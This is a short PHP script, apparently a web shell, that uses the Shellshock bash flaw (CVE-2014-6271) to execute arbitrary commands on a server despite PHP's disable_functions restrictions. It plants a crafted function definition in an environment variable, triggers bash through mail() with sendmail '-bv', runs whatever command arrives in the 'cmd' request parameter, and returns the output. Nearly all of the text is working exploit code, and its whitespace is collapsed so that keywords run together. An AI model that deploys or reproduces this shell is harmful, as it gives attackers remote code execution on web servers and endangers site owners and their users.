<?phpecho"Disabled functions: ".ini_get('disable_functions')."\n";functionshellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283if(strstr(readlink("/bin/sh"),"bash")!=FALSE) {$tmp =tempnam(".","data");putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");// In Safe Mode, the user may only alter environment variables whose names// begin with the prefixes supplied by this directive.// By default, users will only be able to set environment variables that// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,// PHP will let the user modify ANY environment variable!mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail}elsereturn"Not vuln (not bash)";$output =@file_get_contents($tmp);@unlink($tmp);if($output !="") return $output;elsereturn"No output, or not vuln.";}echoshellshock($_REQUEST["cmd"]);?>